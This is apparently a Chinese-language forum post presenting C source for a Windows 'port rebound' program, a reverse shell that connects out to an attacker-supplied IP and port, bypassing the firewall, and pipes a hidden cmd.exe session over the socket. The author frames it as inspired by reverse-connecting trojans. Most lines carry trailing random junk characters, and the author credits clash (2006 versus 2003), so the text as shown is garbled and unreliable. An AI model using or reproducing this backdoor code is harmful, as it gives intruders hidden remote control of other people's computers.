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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :-e[$6}S  
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/* ============================== hGj`IAW  
Rebound port in Windows NT Y9y'`}+  
By wind,2006/7 G>S3?jGk  
===============================*/ SH;:bLk_  
#include 5.F/>?<  
#include 9lc{{)m2)  
XWBTBL  
#pragma comment(lib,"wsock32.lib") \04 (V'`U  
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void OutputShell(); W|V9:A  
SOCKET sClient; mxmj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]ujXPK=t  
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void main(int argc,char **argv) 3/EJ^C  
{ rz.`$  
WSADATA stWsaData; @T&w n k  
int nRet; pU[5f5_  
SOCKADDR_IN stSaiClient,stSaiServer; QR h %S{  
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if(argc != 3) ?5rM'O2  
{ tJ Mm  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;BW9SqlN  
return; _E4_k%8y  
} Q=F^Y f  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )* Rr5l /l  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~A,(D-  
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stSaiClient.sin_family = AF_INET; R|R3Ob.e  
stSaiClient.sin_port = htons(0); \x=!'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p9j2jb,qy  
]vZ}4Xno  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TZw['o  
{ BD&AtOj[,  
printf("Bind Socket Failed!\n"); gv/yfiA?  
return; CzG/=#IU  
} qWb8"  
`{'h+v`  
stSaiServer.sin_family = AF_INET;  h3z9}'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aIklAj)=  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); eNFZD1mS  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0l~z0pvT  
{ _QiGrC  
printf("Connect Error!"); ~uh,R-Q$  
return; dyuT-.2  
} wo_iCjmK  
OutputShell(); okLhe F  
} !=(M P:  
48[b1#q]  
void OutputShell() rl XMrn  
{ HQ`A.E2  
char szBuff[1024]; }Fb966 $  
SECURITY_ATTRIBUTES stSecurityAttributes; );L+)UV  
OSVERSIONINFO stOsversionInfo; tnFhL&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +M.!_2t$2  
STARTUPINFO stStartupInfo; n /Dk~Q)  
char *szShell; zmh5x{US1  
PROCESS_INFORMATION stProcessInformation; 5g4xhYl70n  
unsigned long lBytesRead; KhPDkD-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BnIZ+fg=  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'kk B>g7B  
stSecurityAttributes.lpSecurityDescriptor = 0; .$s=E8fW  
stSecurityAttributes.bInheritHandle = TRUE; sr`)l&t?  
~A-VgBbU>_  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PZSi}j/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 02~GT_)$^  
7G9o%!D5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e% .|PZ)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q?Av5TFf  
stStartupInfo.wShowWindow = SW_HIDE; Nzel^~  
stStartupInfo.hStdInput = hReadPipe; ;Ak 6*Sr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1}b1RKKj<  
O - N> X  
GetVersionEx(&stOsversionInfo); 5=9gH  
7g&<ZZo  
switch(stOsversionInfo.dwPlatformId) =YeI,KbA)  
{ S}XVr?l 2O  
case 1: $Qq5Fx9kU  
szShell = "command.com"; 6'QlC+E  
break; e*jfxQ=qG  
default: \_PD@A9  
szShell = "cmd.exe"; Y<9Lqc.i  
break; j#JE4(&  
} Gt5'-Hyo  
lO dw H"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]^?V8*zL]  
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send(sClient,szMsg,77,0); 8WL*Pr 1I  
while(1) g)#.|d+  
{ {_1zIt|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !:w&eFC6  
if(lBytesRead) _#rE6./@q  
{ :h60  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y"Y+U`Qt  
send(sClient,szBuff,lBytesRead,0); Yeb-u+23  
} 9Z;"9$+M  
else \' ;zD-MX  
{ 30nR2mB Kt  
lBytesRead=recv(sClient,szBuff,1024,0); TNK~ETE4  
if(lBytesRead<=0) break; k4Ub+F  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E HY}gG)  
} (D rDWD4_  
} / |z_z%=  
mYiIwm1cb(  
return; Ve\=By-a|  
}
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